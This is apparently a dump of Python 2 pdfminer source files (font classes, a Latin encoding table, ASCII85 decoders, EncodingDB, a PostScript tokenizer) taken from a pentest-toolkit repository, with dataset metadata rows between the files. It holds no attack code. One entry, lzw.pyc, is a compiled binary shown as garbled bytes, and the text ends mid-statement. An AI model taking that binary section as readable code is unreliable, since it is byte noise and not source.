gid self.gid2name[gid] = name sid += 1 elif format == '\x02': # Format 2 assert 0 else: raise ValueError('unsupported charset format: %r' % format) #print self.code2gid #print self.name2gid #assert 0 return def getstr(self, sid): if sid < len(self.STANDARD_STRINGS): return self.STANDARD_STRINGS[sid] return self.string_index[sid-len(self.STANDARD_STRINGS)] ## TrueTypeFont ## class TrueTypeFont(object): class CMapNotFound(Exception): pass def __init__(self, name, fp): self.name = name self.fp = fp self.tables = {} self.fonttype = fp.read(4) (ntables, _1, _2, _3) = struct.unpack('>HHHH', fp.read(8)) for _ in xrange(ntables): (name, tsum, offset, length) = struct.unpack('>4sLLL', fp.read(16)) self.tables[name] = (offset, length) return def create_unicode_map(self): if 'cmap' not in self.tables: raise TrueTypeFont.CMapNotFound (base_offset, length) = self.tables['cmap'] fp = self.fp fp.seek(base_offset) (version, nsubtables) = struct.unpack('>HH', fp.read(4)) subtables = [] for i in xrange(nsubtables): subtables.append(struct.unpack('>HHL', fp.read(8))) char2gid = {} # Only supports subtable type 0, 2 and 4. for (_1, _2, st_offset) in subtables: fp.seek(base_offset+st_offset) (fmttype, fmtlen, fmtlang) = struct.unpack('>HHH', fp.read(6)) if fmttype == 0: char2gid.update(enumerate(struct.unpack('>256B', fp.read(256)))) elif fmttype == 2: subheaderkeys = struct.unpack('>256H', fp.read(512)) firstbytes = [0]*8192 for (i,k) in enumerate(subheaderkeys): firstbytes[k/8] = i nhdrs = max(subheaderkeys)/8 + 1 hdrs = [] for i in xrange(nhdrs): (firstcode,entcount,delta,offset) = struct.unpack('>HHhH', fp.read(8)) hdrs.append((i,firstcode,entcount,delta,fp.tell()-2+offset)) for (i,firstcode,entcount,delta,pos) in hdrs: if not entcount: continue first = firstcode + (firstbytes[i] << 8) fp.seek(pos) for c in xrange(entcount): gid = struct.unpack('>H', fp.read(2)) if gid: gid += delta char2gid[first+c] = gid elif fmttype == 4: (segcount, _1, _2, _3) = struct.unpack('>HHHH', fp.read(8)) segcount /= 2 ecs = struct.unpack('>%dH' % segcount, fp.read(2*segcount)) fp.read(2) scs = struct.unpack('>%dH' % segcount, fp.read(2*segcount)) idds = struct.unpack('>%dh' % segcount, fp.read(2*segcount)) pos = fp.tell() idrs = struct.unpack('>%dH' % segcount, fp.read(2*segcount)) for (ec,sc,idd,idr) in zip(ecs, scs, idds, idrs): if idr: fp.seek(pos+idr) for c in xrange(sc, ec+1): char2gid[c] = (struct.unpack('>H', fp.read(2))[0] + idd) & 0xffff else: for c in xrange(sc, ec+1): char2gid[c] = (c + idd) & 0xffff else: assert 0 # create unicode map unicode_map = FileUnicodeMap() for (char,gid) in char2gid.iteritems(): unicode_map.add_cid2unichr(gid, char) return unicode_map ## Fonts ## class PDFFontError(PDFException): pass class PDFUnicodeNotDefined(PDFFontError): pass LITERAL_STANDARD_ENCODING = LIT('StandardEncoding') LITERAL_TYPE1C = LIT('Type1C') # PDFFont class PDFFont(object): def __init__(self, descriptor, widths, default_width=None): self.descriptor = descriptor self.widths = widths self.fontname = resolve1(descriptor.get('FontName', 'unknown')) if isinstance(self.fontname, PSLiteral): self.fontname = literal_name(self.fontname) self.flags = int_value(descriptor.get('Flags', 0)) self.ascent = num_value(descriptor.get('Ascent', 0)) self.descent = num_value(descriptor.get('Descent', 0)) self.italic_angle = num_value(descriptor.get('ItalicAngle', 0)) self.default_width = default_width or num_value(descriptor.get('MissingWidth', 0)) self.leading = num_value(descriptor.get('Leading', 0)) self.bbox = list_value(descriptor.get('FontBBox', (0,0,0,0))) self.hscale = self.vscale = .001 return def __repr__(self): return '<PDFFont>' def is_vertical(self): return False def is_multibyte(self): return False def decode(self, bytes): return map(ord, bytes) def get_ascent(self): return self.ascent * self.vscale def get_descent(self): return self.descent * self.vscale def get_width(self): w = self.bbox[2]-self.bbox[0] if w == 0: w = -self.default_width return w * self.hscale def get_height(self): h = self.bbox[3]-self.bbox[1] if h == 0: h = self.ascent - self.descent return h * self.vscale def char_width(self, cid): return self.widths.get(cid, self.default_width) * self.hscale def char_disp(self, cid): return 0 def string_width(self, s): return sum( self.char_width(cid) for cid in self.decode(s) ) # PDFSimpleFont class PDFSimpleFont(PDFFont): def __init__(self, descriptor, widths, spec): # Font encoding is specified either by a name of # built-in encoding or a dictionary that describes # the differences. if 'Encoding' in spec: encoding = resolve1(spec['Encoding']) else: encoding = LITERAL_STANDARD_ENCODING if isinstance(encoding, dict): name = literal_name(encoding.get('BaseEncoding', LITERAL_STANDARD_ENCODING)) diff = list_value(encoding.get('Differences', None)) self.cid2unicode = EncodingDB.get_encoding(name, diff) else: self.cid2unicode = EncodingDB.get_encoding(literal_name(encoding)) self.unicode_map = None if 'ToUnicode' in spec: strm = stream_value(spec['ToUnicode']) self.unicode_map = FileUnicodeMap() CMapParser(self.unicode_map, StringIO(strm.get_data())).run() PDFFont.__init__(self, descriptor, widths) return def to_unichr(self, cid): if self.unicode_map: try: return self.unicode_map.get_unichr(cid) except KeyError: pass try: return self.cid2unicode[cid] except KeyError: raise PDFUnicodeNotDefined(None, cid) # PDFType1Font class PDFType1Font(PDFSimpleFont): def __init__(self, rsrcmgr, spec): try: self.basefont = literal_name(spec['BaseFont']) except KeyError: if STRICT: raise PDFFontError('BaseFont is missing') self.basefont = 'unknown' try: (descriptor, widths) = FontMetricsDB.get_metrics(self.basefont) except KeyError: descriptor = dict_value(spec.get('FontDescriptor', {})) firstchar = int_value(spec.get('FirstChar', 0)) lastchar = int_value(spec.get('LastChar', 255)) widths = list_value(spec.get('Widths', [0]*256)) widths = dict( (i+firstchar,w) for (i,w) in enumerate(widths) ) PDFSimpleFont.__init__(self, descriptor, widths, spec) if 'Encoding' not in spec and 'FontFile' in descriptor: # try to recover the missing encoding info from the font file. self.fontfile = stream_value(descriptor.get('FontFile')) length1 = int_value(self.fontfile['Length1']) data = self.fontfile.get_data()[:length1] parser = Type1FontHeaderParser(StringIO(data)) self.cid2unicode = parser.get_encoding() return def __repr__(self): return '<PDFType1Font: basefont=%r>' % self.basefont # PDFTrueTypeFont class PDFTrueTypeFont(PDFType1Font): def __repr__(self): return '<PDFTrueTypeFont: basefont=%r>' % self.basefont # PDFType3Font class PDFType3Font(PDFSimpleFont): def __init__(self, rsrcmgr, spec): firstchar = int_value(spec.get('FirstChar', 0)) lastchar = int_value(spec.get('LastChar', 0)) widths = list_value(spec.get('Widths', [0]*256)) widths = dict( (i+firstchar,w) for (i,w) in enumerate(widths)) if 'FontDescriptor' in spec: descriptor = dict_value(spec['FontDescriptor']) else: descriptor = {'Ascent':0, 'Descent':0, 'FontBBox':spec['FontBBox']} PDFSimpleFont.__init__(self, descriptor, widths, spec) self.matrix = tuple(list_value(spec.get('FontMatrix'))) (_,self.descent,_,self.ascent) = self.bbox (self.hscale,self.vscale) = apply_matrix_norm(self.matrix, (1,1)) return def __repr__(self): return '<PDFType3Font>' # PDFCIDFont class PDFCIDFont(PDFFont): def __init__(self, rsrcmgr, spec): try: self.basefont = literal_name(spec['BaseFont']) except KeyError: if STRICT: raise PDFFontError('BaseFont is missing') self.basefont = 'unknown' self.cidsysteminfo = dict_value(spec.get('CIDSystemInfo', {})) self.cidcoding = '%s-%s' % (self.cidsysteminfo.get('Registry', 'unknown'), self.cidsysteminfo.get('Ordering', 'unknown')) try: name = literal_name(spec['Encoding']) except KeyError: if STRICT: raise PDFFontError('Encoding is unspecified') name = 'unknown' try: self.cmap = CMapDB.get_cmap(name) except CMapDB.CMapNotFound, e: if STRICT: raise PDFFontError(e) self.cmap = CMap() try: descriptor = dict_value(spec['FontDescriptor']) except KeyError: if STRICT: raise PDFFontError('FontDescriptor is missing') descriptor = {} ttf = None if 'FontFile2' in descriptor: self.fontfile = stream_value(descriptor.get('FontFile2')) ttf = TrueTypeFont(self.basefont, StringIO(self.fontfile.get_data())) self.unicode_map = None if 'ToUnicode' in spec: strm = stream_value(spec['ToUnicode']) self.unicode_map = FileUnicodeMap() CMapParser(self.unicode_map, StringIO(strm.get_data())).run() elif self.cidcoding == 'Adobe-Identity': if ttf: try: self.unicode_map = ttf.create_unicode_map() except TrueTypeFont.CMapNotFound: pass else: try: self.unicode_map = CMapDB.get_unicode_map(self.cidcoding, self.cmap.is_vertical()) except CMapDB.CMapNotFound, e: pass self.vertical = self.cmap.is_vertical() if self.vertical: # writing mode: vertical widths = get_widths2(list_value(spec.get('W2', []))) self.disps = dict( (cid,(vx,vy)) for (cid,(_,(vx,vy))) in widths.iteritems() ) (vy,w) = spec.get('DW2', [880, -1000]) self.default_disp = (None,vy) widths = dict( (cid,w) for (cid,(w,_)) in widths.iteritems() ) default_width = w else: # writing mode: horizontal self.disps = {} self.default_disp = 0 widths = get_widths(list_value(spec.get('W', []))) default_width = spec.get('DW', 1000) PDFFont.__init__(self, descriptor, widths, default_width=default_width) return def __repr__(self): return '<PDFCIDFont: basefont=%r, cidcoding=%r>' % (self.basefont, self.cidcoding) def is_vertical(self): return self.vertical def is_multibyte(self): return True def decode(self, bytes): return self.cmap.decode(bytes) def char_disp(self, cid): "Returns an integer for horizontal fonts, a tuple for vertical fonts." return self.disps.get(cid, self.default_disp) def to_unichr(self, cid): try: if not self.unicode_map: raise KeyError(cid) return self.unicode_map.get_unichr(cid) except KeyError: raise PDFUnicodeNotDefined(self.cidcoding, cid) # main def main(argv): for fname in argv[1:]: fp = file(fname, 'rb') #font = TrueTypeFont(fname, fp) font = CFFFont(fname, fp) print font fp.close() return if __name__ == '__main__': sys.exit(main(sys.argv))
26,471
Python
.py
632
31.60443
98
0.555374
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,809
latin_enc.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/pdfminer/latin_enc.py
#!/usr/bin/env python2 """ Standard encoding tables used in PDF. This table is extracted from PDF Reference Manual 1.6, pp.925 "D.1 Latin Character Set and Encodings" """ ENCODING = [ # (name, std, mac, win, pdf) ('A', 65, 65, 65, 65), ('AE', 225, 174, 198, 198), ('Aacute', None, 231, 193, 193), ('Acircumflex', None, 229, 194, 194), ('Adieresis', None, 128, 196, 196), ('Agrave', None, 203, 192, 192), ('Aring', None, 129, 197, 197), ('Atilde', None, 204, 195, 195), ('B', 66, 66, 66, 66), ('C', 67, 67, 67, 67), ('Ccedilla', None, 130, 199, 199), ('D', 68, 68, 68, 68), ('E', 69, 69, 69, 69), ('Eacute', None, 131, 201, 201), ('Ecircumflex', None, 230, 202, 202), ('Edieresis', None, 232, 203, 203), ('Egrave', None, 233, 200, 200), ('Eth', None, None, 208, 208), ('Euro', None, None, 128, 160), ('F', 70, 70, 70, 70), ('G', 71, 71, 71, 71), ('H', 72, 72, 72, 72), ('I', 73, 73, 73, 73), ('Iacute', None, 234, 205, 205), ('Icircumflex', None, 235, 206, 206), ('Idieresis', None, 236, 207, 207), ('Igrave', None, 237, 204, 204), ('J', 74, 74, 74, 74), ('K', 75, 75, 75, 75), ('L', 76, 76, 76, 76), ('Lslash', 232, None, None, 149), ('M', 77, 77, 77, 77), ('N', 78, 78, 78, 78), ('Ntilde', None, 132, 209, 209), ('O', 79, 79, 79, 79), ('OE', 234, 206, 140, 150), ('Oacute', None, 238, 211, 211), ('Ocircumflex', None, 239, 212, 212), ('Odieresis', None, 133, 214, 214), ('Ograve', None, 241, 210, 210), ('Oslash', 233, 175, 216, 216), ('Otilde', None, 205, 213, 213), ('P', 80, 80, 80, 80), ('Q', 81, 81, 81, 81), ('R', 82, 82, 82, 82), ('S', 83, 83, 83, 83), ('Scaron', None, None, 138, 151), ('T', 84, 84, 84, 84), ('Thorn', None, None, 222, 222), ('U', 85, 85, 85, 85), ('Uacute', None, 242, 218, 218), ('Ucircumflex', None, 243, 219, 219), ('Udieresis', None, 134, 220, 220), ('Ugrave', None, 244, 217, 217), ('V', 86, 86, 86, 86), ('W', 87, 87, 87, 87), ('X', 88, 88, 88, 88), ('Y', 89, 89, 89, 89), ('Yacute', None, None, 221, 221), ('Ydieresis', None, 217, 159, 152), ('Z', 90, 90, 90, 90), ('Zcaron', None, None, 142, 153), ('a', 97, 97, 97, 97), ('aacute', None, 135, 225, 225), ('acircumflex', None, 137, 226, 226), ('acute', 194, 171, 180, 180), ('adieresis', None, 138, 228, 228), ('ae', 241, 190, 230, 230), ('agrave', None, 136, 224, 224), ('ampersand', 38, 38, 38, 38), ('aring', None, 140, 229, 229), ('asciicircum', 94, 94, 94, 94), ('asciitilde', 126, 126, 126, 126), ('asterisk', 42, 42, 42, 42), ('at', 64, 64, 64, 64), ('atilde', None, 139, 227, 227), ('b', 98, 98, 98, 98), ('backslash', 92, 92, 92, 92), ('bar', 124, 124, 124, 124), ('braceleft', 123, 123, 123, 123), ('braceright', 125, 125, 125, 125), ('bracketleft', 91, 91, 91, 91), ('bracketright', 93, 93, 93, 93), ('breve', 198, 249, None, 24), ('brokenbar', None, None, 166, 166), ('bullet', 183, 165, 149, 128), ('c', 99, 99, 99, 99), ('caron', 207, 255, None, 25), ('ccedilla', None, 141, 231, 231), ('cedilla', 203, 252, 184, 184), ('cent', 162, 162, 162, 162), ('circumflex', 195, 246, 136, 26), ('colon', 58, 58, 58, 58), ('comma', 44, 44, 44, 44), ('copyright', None, 169, 169, 169), ('currency', 168, 219, 164, 164), ('d', 100, 100, 100, 100), ('dagger', 178, 160, 134, 129), ('daggerdbl', 179, 224, 135, 130), ('degree', None, 161, 176, 176), ('dieresis', 200, 172, 168, 168), ('divide', None, 214, 247, 247), ('dollar', 36, 36, 36, 36), ('dotaccent', 199, 250, None, 27), ('dotlessi', 245, 245, None, 154), ('e', 101, 101, 101, 101), ('eacute', None, 142, 233, 233), ('ecircumflex', None, 144, 234, 234), ('edieresis', None, 145, 235, 235), ('egrave', None, 143, 232, 232), ('eight', 56, 56, 56, 56), ('ellipsis', 188, 201, 133, 131), ('emdash', 208, 209, 151, 132), ('endash', 177, 208, 150, 133), ('equal', 61, 61, 61, 61), ('eth', None, None, 240, 240), ('exclam', 33, 33, 33, 33), ('exclamdown', 161, 193, 161, 161), ('f', 102, 102, 102, 102), ('fi', 174, 222, None, 147), ('five', 53, 53, 53, 53), ('fl', 175, 223, None, 148), ('florin', 166, 196, 131, 134), ('four', 52, 52, 52, 52), ('fraction', 164, 218, None, 135), ('g', 103, 103, 103, 103), ('germandbls', 251, 167, 223, 223), ('grave', 193, 96, 96, 96), ('greater', 62, 62, 62, 62), ('guillemotleft', 171, 199, 171, 171), ('guillemotright', 187, 200, 187, 187), ('guilsinglleft', 172, 220, 139, 136), ('guilsinglright', 173, 221, 155, 137), ('h', 104, 104, 104, 104), ('hungarumlaut', 205, 253, None, 28), ('hyphen', 45, 45, 45, 45), ('i', 105, 105, 105, 105), ('iacute', None, 146, 237, 237), ('icircumflex', None, 148, 238, 238), ('idieresis', None, 149, 239, 239), ('igrave', None, 147, 236, 236), ('j', 106, 106, 106, 106), ('k', 107, 107, 107, 107), ('l', 108, 108, 108, 108), ('less', 60, 60, 60, 60), ('logicalnot', None, 194, 172, 172), ('lslash', 248, None, None, 155), ('m', 109, 109, 109, 109), ('macron', 197, 248, 175, 175), ('minus', None, None, None, 138), ('mu', None, 181, 181, 181), ('multiply', None, None, 215, 215), ('n', 110, 110, 110, 110), ('nine', 57, 57, 57, 57), ('ntilde', None, 150, 241, 241), ('numbersign', 35, 35, 35, 35), ('o', 111, 111, 111, 111), ('oacute', None, 151, 243, 243), ('ocircumflex', None, 153, 244, 244), ('odieresis', None, 154, 246, 246), ('oe', 250, 207, 156, 156), ('ogonek', 206, 254, None, 29), ('ograve', None, 152, 242, 242), ('one', 49, 49, 49, 49), ('onehalf', None, None, 189, 189), ('onequarter', None, None, 188, 188), ('onesuperior', None, None, 185, 185), ('ordfeminine', 227, 187, 170, 170), ('ordmasculine', 235, 188, 186, 186), ('oslash', 249, 191, 248, 248), ('otilde', None, 155, 245, 245), ('p', 112, 112, 112, 112), ('paragraph', 182, 166, 182, 182), ('parenleft', 40, 40, 40, 40), ('parenright', 41, 41, 41, 41), ('percent', 37, 37, 37, 37), ('period', 46, 46, 46, 46), ('periodcentered', 180, 225, 183, 183), ('perthousand', 189, 228, 137, 139), ('plus', 43, 43, 43, 43), ('plusminus', None, 177, 177, 177), ('q', 113, 113, 113, 113), ('question', 63, 63, 63, 63), ('questiondown', 191, 192, 191, 191), ('quotedbl', 34, 34, 34, 34), ('quotedblbase', 185, 227, 132, 140), ('quotedblleft', 170, 210, 147, 141), ('quotedblright', 186, 211, 148, 142), ('quoteleft', 96, 212, 145, 143), ('quoteright', 39, 213, 146, 144), ('quotesinglbase', 184, 226, 130, 145), ('quotesingle', 169, 39, 39, 39), ('r', 114, 114, 114, 114), ('registered', None, 168, 174, 174), ('ring', 202, 251, None, 30), ('s', 115, 115, 115, 115), ('scaron', None, None, 154, 157), ('section', 167, 164, 167, 167), ('semicolon', 59, 59, 59, 59), ('seven', 55, 55, 55, 55), ('six', 54, 54, 54, 54), ('slash', 47, 47, 47, 47), ('space', 32, 32, 32, 32), ('sterling', 163, 163, 163, 163), ('t', 116, 116, 116, 116), ('thorn', None, None, 254, 254), ('three', 51, 51, 51, 51), ('threequarters', None, None, 190, 190), ('threesuperior', None, None, 179, 179), ('tilde', 196, 247, 152, 31), ('trademark', None, 170, 153, 146), ('two', 50, 50, 50, 50), ('twosuperior', None, None, 178, 178), ('u', 117, 117, 117, 117), ('uacute', None, 156, 250, 250), ('ucircumflex', None, 158, 251, 251), ('udieresis', None, 159, 252, 252), ('ugrave', None, 157, 249, 249), ('underscore', 95, 95, 95, 95), ('v', 118, 118, 118, 118), ('w', 119, 119, 119, 119), ('x', 120, 120, 120, 120), ('y', 121, 121, 121, 121), ('yacute', None, None, 253, 253), ('ydieresis', None, 216, 255, 255), ('yen', 165, 180, 165, 165), ('z', 122, 122, 122, 122), ('zcaron', None, None, 158, 158), ('zero', 48, 48, 48, 48), ]
7,835
Python
.py
237
30.092827
61
0.539768
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,810
ascii85.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/pdfminer/ascii85.py
#!/usr/bin/env python2 """ Python implementation of ASCII85/ASCIIHex decoder (Adobe version). This code is in the public domain. """ import re import struct # ascii85decode(data) def ascii85decode(data): """ In ASCII85 encoding, every four bytes are encoded with five ASCII letters, using 85 different types of characters (as 256**4 < 85**5). When the length of the original bytes is not a multiple of 4, a special rule is used for round up. The Adobe's ASCII85 implementation is slightly different from its original in handling the last characters. The sample string is taken from: http://en.wikipedia.org/w/index.php?title=Ascii85 >>> ascii85decode('9jqo^BlbD-BleB1DJ+*+F(f,q') 'Man is distinguished' >>> ascii85decode('E,9)oF*2M7/c~>') 'pleasure.' """ n = b = 0 out = '' for c in data: if '!' <= c and c <= 'u': n += 1 b = b*85+(ord(c)-33) if n == 5: out += struct.pack('>L',b) n = b = 0 elif c == 'z': assert n == 0 out += '\0\0\0\0' elif c == '~': if n: for _ in range(5-n): b = b*85+84 out += struct.pack('>L',b)[:n-1] break return out # asciihexdecode(data) hex_re = re.compile(r'([a-f\d]{2})', re.IGNORECASE) trail_re = re.compile(r'^(?:[a-f\d]{2}|\s)*([a-f\d])[\s>]*$', re.IGNORECASE) def asciihexdecode(data): """ ASCIIHexDecode filter: PDFReference v1.4 section 3.3.1 For each pair of ASCII hexadecimal digits (0-9 and A-F or a-f), the ASCIIHexDecode filter produces one byte of binary data. All white-space characters are ignored. A right angle bracket character (>) indicates EOD. Any other characters will cause an error. If the filter encounters the EOD marker after reading an odd number of hexadecimal digits, it will behave as if a 0 followed the last digit. >>> asciihexdecode('61 62 2e6364 65') 'ab.cde' >>> asciihexdecode('61 62 2e6364 657>') 'ab.cdep' >>> asciihexdecode('7>') 'p' """ decode = (lambda hx: chr(int(hx, 16))) out = map(decode, hex_re.findall(data)) m = trail_re.search(data) if m: out.append(decode("%c0" % m.group(1))) return ''.join(out) if __name__ == '__main__': import doctest doctest.testmod()
2,431
Python
.py
69
28.57971
76
0.599829
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,811
encodingdb.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/pdfminer/encodingdb.py
#!/usr/bin/env python2 import re from psparser import PSLiteral from glyphlist import glyphname2unicode from latin_enc import ENCODING ## name2unicode ## STRIP_NAME = re.compile(r'[0-9]+') def name2unicode(name): """Converts Adobe glyph names to Unicode numbers.""" if name in glyphname2unicode: return glyphname2unicode[name] m = STRIP_NAME.search(name) if not m: raise KeyError(name) return unichr(int(m.group(0))) ## EncodingDB ## class EncodingDB(object): std2unicode = {} mac2unicode = {} win2unicode = {} pdf2unicode = {} for (name,std,mac,win,pdf) in ENCODING: c = name2unicode(name) if std: std2unicode[std] = c if mac: mac2unicode[mac] = c if win: win2unicode[win] = c if pdf: pdf2unicode[pdf] = c encodings = { 'StandardEncoding': std2unicode, 'MacRomanEncoding': mac2unicode, 'WinAnsiEncoding': win2unicode, 'PDFDocEncoding': pdf2unicode, } @classmethod def get_encoding(klass, name, diff=None): cid2unicode = klass.encodings.get(name, klass.std2unicode) if diff: cid2unicode = cid2unicode.copy() cid = 0 for x in diff: if isinstance(x, int): cid = x elif isinstance(x, PSLiteral): try: cid2unicode[cid] = name2unicode(x.name) except KeyError: pass cid += 1 return cid2unicode
1,548
Python
.py
50
22.8
66
0.596644
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,812
lzw.pyc
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/pdfminer/lzw.pyc
Ñò Î ÈMc@s�ddkZyddklZWn#ej oddklZnXdefd„ƒYZd„ZedjoddkZei ƒndS(iÿÿÿÿN(tStringIOt LZWDecodercBs2eZdZd„Zd„Zd„Zd„ZRS(icCs:||_d|_d|_d|_d|_d|_dS(Niii (tfptbufftbpostnbitstNonettabletprevbuf(tselfR((s6/pentest/enumeration/google/metagoofil/pdfminer/lzw.pyt__init__s      cCsÅd}x¸d|i}||jo9||>|i||?d|>d@B}|i|7_Pq ||>|id|>d@B}||8}|iidƒ}|p t‚nt|ƒ|_d|_q |S(Niii(RRRtreadtEOFErrortord(R tbitstvtrtx((s6/pentest/enumeration/google/metagoofil/pdfminer/lzw.pytreadbitss  %   cCsƒd}|djofg}tdƒD]}|t|ƒq$~|_|iidƒ|iidƒd|_d|_n|djonö|ip|i|}|_nÔ|t|iƒjo,|i|}|ii|i|dƒn,|ii|i|idƒ|i|}t|iƒ}|djo d|_n5|djo d |_n|d jo d |_n||_|S( Ntii iiiÿi iÿi iÿi (txrangetchrRtappendRRRtlen(R tcodeRt_[1]tctl((s6/pentest/enumeration/google/metagoofil/pdfminer/lzw.pytfeed0s2 0             c cs€xyy|i|iƒ}Wntj oPnX|i|ƒ}|V|io+tid|i|||idfIJqqdS(Ns&nbits=%d, code=%d, output=%r, table=%ri(RRR RtdebugtsyststderrR(R RR((s6/pentest/enumeration/google/metagoofil/pdfminer/lzw.pytrunMs  $(t__name__t __module__RR RRR (((s6/pentest/enumeration/google/metagoofil/pdfminer/lzw.pyR s   cCs%t|ƒ}dit|ƒiƒƒS(s5 >>> lzwdecode('€ `P" …') '-----A---B' R(RtjoinRR (tdataR((s6/pentest/enumeration/google/metagoofil/pdfminer/lzw.pyt lzwdecode[s t__main__( Rt cStringIORt ImportErrortobjectRR%R!tdoctestttestmod(((s6/pentest/enumeration/google/metagoofil/pdfminer/lzw.pyt<module>s P   
2,799
Python
.py
20
138.35
566
0.343885
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,813
psparser.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/pdfminer/psparser.py
#!/usr/bin/env python2 import sys import re from utils import choplist STRICT = 0 ## PS Exceptions ## class PSException(Exception): pass class PSEOF(PSException): pass class PSSyntaxError(PSException): pass class PSTypeError(PSException): pass class PSValueError(PSException): pass ## Basic PostScript Types ## ## PSObject ## class PSObject(object): """Base class for all PS or PDF-related data types.""" pass ## PSLiteral ## class PSLiteral(PSObject): """A class that represents a PostScript literal. Postscript literals are used as identifiers, such as variable names, property names and dictionary keys. Literals are case sensitive and denoted by a preceding slash sign (e.g. "/Name") Note: Do not create an instance of PSLiteral directly. Always use PSLiteralTable.intern(). """ def __init__(self, name): self.name = name return def __repr__(self): return '/%s' % self.name ## PSKeyword ## class PSKeyword(PSObject): """A class that represents a PostScript keyword. PostScript keywords are a dozen of predefined words. Commands and directives in PostScript are expressed by keywords. They are also used to denote the content boundaries. Note: Do not create an instance of PSKeyword directly. Always use PSKeywordTable.intern(). """ def __init__(self, name): self.name = name return def __repr__(self): return self.name ## PSSymbolTable ## class PSSymbolTable(object): """A utility class for storing PSLiteral/PSKeyword objects. Interned objects can be checked its identity with "is" operator. """ def __init__(self, klass): self.dict = {} self.klass = klass return def intern(self, name): if name in self.dict: lit = self.dict[name] else: lit = self.klass(name) self.dict[name] = lit return lit PSLiteralTable = PSSymbolTable(PSLiteral) PSKeywordTable = PSSymbolTable(PSKeyword) LIT = PSLiteralTable.intern KWD = PSKeywordTable.intern KEYWORD_PROC_BEGIN = KWD('{') KEYWORD_PROC_END = KWD('}') KEYWORD_ARRAY_BEGIN = KWD('[') KEYWORD_ARRAY_END = KWD(']') KEYWORD_DICT_BEGIN = KWD('<<') KEYWORD_DICT_END = KWD('>>') def literal_name(x): if not isinstance(x, PSLiteral): if STRICT: raise PSTypeError('Literal required: %r' % x) else: return str(x) return x.name def keyword_name(x): if not isinstance(x, PSKeyword): if STRICT: raise PSTypeError('Keyword required: %r' % x) else: return str(x) return x.name ## PSBaseParser ## EOL = re.compile(r'[\r\n]') SPC = re.compile(r'\s') NONSPC = re.compile(r'\S') HEX = re.compile(r'[0-9a-fA-F]') END_LITERAL = re.compile(r'[#/%\[\]()<>{}\s]') END_HEX_STRING = re.compile(r'[^\s0-9a-fA-F]') HEX_PAIR = re.compile(r'[0-9a-fA-F]{2}|.') END_NUMBER = re.compile(r'[^0-9]') END_KEYWORD = re.compile(r'[#/%\[\]()<>{}\s]') END_STRING = re.compile(r'[()\134]') OCT_STRING = re.compile(r'[0-7]') ESC_STRING = { 'b':8, 't':9, 'n':10, 'f':12, 'r':13, '(':40, ')':41, '\\':92 } class PSBaseParser(object): """Most basic PostScript parser that performs only tokenization. """ BUFSIZ = 4096 debug = 0 def __init__(self, fp): self.fp = fp self.seek(0) return def __repr__(self): return '<%s: %r, bufpos=%d>' % (self.__class__.__name__, self.fp, self.bufpos) def flush(self): return def close(self): self.flush() return def tell(self): return self.bufpos+self.charpos def poll(self, pos=None, n=80): pos0 = self.fp.tell() if not pos: pos = self.bufpos+self.charpos self.fp.seek(pos) print >>sys.stderr, 'poll(%d): %r' % (pos, self.fp.read(n)) self.fp.seek(pos0) return def seek(self, pos): """Seeks the parser to the given position. """ if 2 <= self.debug: print >>sys.stderr, 'seek: %r' % pos self.fp.seek(pos) # reset the status for nextline() self.bufpos = pos self.buf = '' self.charpos = 0 # reset the status for nexttoken() self._parse1 = self._parse_main self._curtoken = '' self._curtokenpos = 0 self._tokens = [] return def fillbuf(self): if self.charpos < len(self.buf): return # fetch next chunk. self.bufpos = self.fp.tell() self.buf = self.fp.read(self.BUFSIZ) if not self.buf: raise PSEOF('Unexpected EOF') self.charpos = 0 return def nextline(self): """Fetches a next line that ends either with \\r or \\n. """ linebuf = '' linepos = self.bufpos + self.charpos eol = False while 1: self.fillbuf() if eol: c = self.buf[self.charpos] # handle '\r\n' if c == '\n': linebuf += c self.charpos += 1 break m = EOL.search(self.buf, self.charpos) if m: linebuf += self.buf[self.charpos:m.end(0)] self.charpos = m.end(0) if linebuf[-1] == '\r': eol = True else: break else: linebuf += self.buf[self.charpos:] self.charpos = len(self.buf) if 2 <= self.debug: print >>sys.stderr, 'nextline: %r' % ((linepos, linebuf),) return (linepos, linebuf) def revreadlines(self): """Fetches a next line backword. This is used to locate the trailers at the end of a file. """ self.fp.seek(0, 2) pos = self.fp.tell() buf = '' while 0 < pos: prevpos = pos pos = max(0, pos-self.BUFSIZ) self.fp.seek(pos) s = self.fp.read(prevpos-pos) if not s: break while 1: n = max(s.rfind('\r'), s.rfind('\n')) if n == -1: buf = s + buf break yield s[n:]+buf s = s[:n] buf = '' return def _parse_main(self, s, i): m = NONSPC.search(s, i) if not m: return len(s) j = m.start(0) c = s[j] self._curtokenpos = self.bufpos+j if c == '%': self._curtoken = '%' self._parse1 = self._parse_comment return j+1 elif c == '/': self._curtoken = '' self._parse1 = self._parse_literal return j+1 elif c in '-+' or c.isdigit(): self._curtoken = c self._parse1 = self._parse_number return j+1 elif c == '.': self._curtoken = c self._parse1 = self._parse_float return j+1 elif c.isalpha(): self._curtoken = c self._parse1 = self._parse_keyword return j+1 elif c == '(': self._curtoken = '' self.paren = 1 self._parse1 = self._parse_string return j+1 elif c == '<': self._curtoken = '' self._parse1 = self._parse_wopen return j+1 elif c == '>': self._curtoken = '' self._parse1 = self._parse_wclose return j+1 else: self._add_token(KWD(c)) return j+1 def _add_token(self, obj): self._tokens.append((self._curtokenpos, obj)) return def _parse_comment(self, s, i): m = EOL.search(s, i) if not m: self._curtoken += s[i:] return (self._parse_comment, len(s)) j = m.start(0) self._curtoken += s[i:j] self._parse1 = self._parse_main # We ignore comments. #self._tokens.append(self._curtoken) return j def _parse_literal(self, s, i): m = END_LITERAL.search(s, i) if not m: self._curtoken += s[i:] return len(s) j = m.start(0) self._curtoken += s[i:j] c = s[j] if c == '#': self.hex = '' self._parse1 = 